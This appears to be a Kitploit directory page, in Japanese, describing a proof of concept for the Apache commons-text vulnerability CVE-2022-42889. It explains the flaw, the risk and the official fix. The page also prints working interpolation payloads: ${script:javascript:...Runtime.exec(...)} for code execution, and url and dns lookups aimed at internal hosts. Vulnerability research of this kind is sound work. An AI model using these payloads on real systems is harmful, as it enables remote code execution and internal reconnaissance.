Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-42889-PoC — Apache commons-text の脆弱性 CVE-2022-42889 に対する概念実証 (PoC)。 | Kitploit
ツール/GitHubGitHub/seanwrightsec/cve-2022-42889-poc
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用論文と研究学習と教育
GitHubseanwrightsec/cve-2022-42889-poc

CVE-2022-42889-PoC

Apache commons-text の脆弱性 CVE-2022-42889 に対する概念実証 (PoC)。

リポジトリを見る
341713年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-42889 PoC

これは、脆弱性 CVE-2022-42889 の Proof of Concept です。このコードは JavaScript コード 195 + 324 を実行します。脆弱性がある場合、出力は次のようになります:

root@kitploit:~
PoC Output: 519

これを実行するには、以下が必要です:

  • JDK 11 以降
  • Maven

エクスプロイト文字列を求められたら、独自のエクスプロイト文字列を入力するか(Enter を押して文字列を入力)、または単に Enter を押してデフォルトのエクスプロイト文字列 ${script:javascript:195 + 324} を使用できます。

Docker

または、Docker を使用してこの PoC を実行することもできます:

root@kitploit:~
docker build -t poc .
docker run -it poc

問題は何か?

問題は、次のキーがデフォルトでは補間されるべきではないという事実に起因します(ドキュメント https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html による):

  • script
  • dns
  • url
  • script

    このルックアップは、指定された JavaScript コードを実行できるようにします。その結果、攻撃者はシステム上で任意のコードを実行できるようになります。

    形式

    root@kitploit:~
    ${script:<engine>:<code>}
    

    例

    root@kitploit:~
    ${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}
    

    PoC での例:

    root@kitploit:~
    Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
    ${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
    Warning: Nashorn engine is planned to be removed from a future JDK release
    ===================================================================================================================
    Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
    ===================================================================================================================
    PoC Output:
    -------------------------------------------------------------------------------------------------------------------
    Process[pid=67, exitValue=0]
    ===================================================================================================================
    

    url

    このルックアップは、指定された URL を呼び出します。攻撃者はこれを利用して、内部リソースへの基本的な GET リクエストを実行できる可能性があります。

    形式

    root@kitploit:~
    ${url:<character-encoding>:<url>}
    

    例

    root@kitploit:~
    ${url:UTF-8::https://internal-jenkins.companyx.net/}
    

    PoC での例:

    root@kitploit:~
    Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
    ${url:UTF-8:https://www.google.com/}
    ===================================================================================================================
    Exploiting PoC with the exploit string '${url:UTF-8:https://www.google.com/}'
    ===================================================================================================================
    PoC Output:
    -------------------------------------------------------------------------------------------------------------------
    <!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head>
    ....
    </body></html>
    ===============================================================================================
    

    dns

    このルックアップは、DNS クエリまたは逆引きを実行します。これにより、攻撃者は内部リソースを特定できる可能性があります。

    形式

    root@kitploit:~
    ${dns:<address,canonical-name,name>|<host>}
    

    例

    root@kitploit:~
    ${dns:address|internal-jenkins.companyx.net}
    

    PoC での例:

    root@kitploit:~
    Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
    ${dns:address|www.google.com}                                                         
    ===================================================================================================================
    Exploiting PoC with the exploit string '${dns:address|www.google.com}'
    ===================================================================================================================
    PoC Output:
    -------------------------------------------------------------------------------------------------------------------
    142.250.200.4
    ===================================================================================================================
    

    しかし、ロジックの欠陥により、これら 3 つのキーはデフォルトで補間されますが、そうすべきではありません(セキュリティリスクを表す可能性があるため)。

    リスクは何か?

    影響を受ける StringSubstitutor の replace に渡される文字列を制御できる攻撃者は、以下を実行できる可能性があります:

    • StringSubstitutor コードを実行しているシステム(通常はサーバー)上で JavaScript コードを実行する
    • 影響を受けるシステムから他のサーバーへ接続する
    • 影響を受けるシステムから他のリモートリソースへのアクセスを得る可能性がある

    脆弱性の影響を受けますか?

    コードが脆弱性の影響を受けるには、以下が必要です:

    • Apache commons-text のバージョン 1.5.0 から 1.10.0 未満を実行していること

    • StringSubstituion に Interpolation を使用していること(https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html を参照)

    • JDK 15 以降では、JavaScript エンジン Nashorn が含まれなくなることに注意してください。ただし、JEXL エンジンは引き続き含まれており、その結果 RCE が依然として可能である可能性があります。

      (この点を 強調 してくれた rgmz に感謝します)

    公式修正

    この修正は、commons-text のインスタンスをバージョン 1.10.0 以降に更新することです。

    注意

    他のデフォルトのルックアップも、依然としてセキュリティリスクを表す可能性があります(ファイルのコンテンツを読み取る機能、システムプロパティを読み取る機能など)。この機能は注意して使用し、すべてのユーザー入力が適切にサニタイズされるようにしてください(たとえば、許可リストを通過させるなど)。

    ツールをダウンロード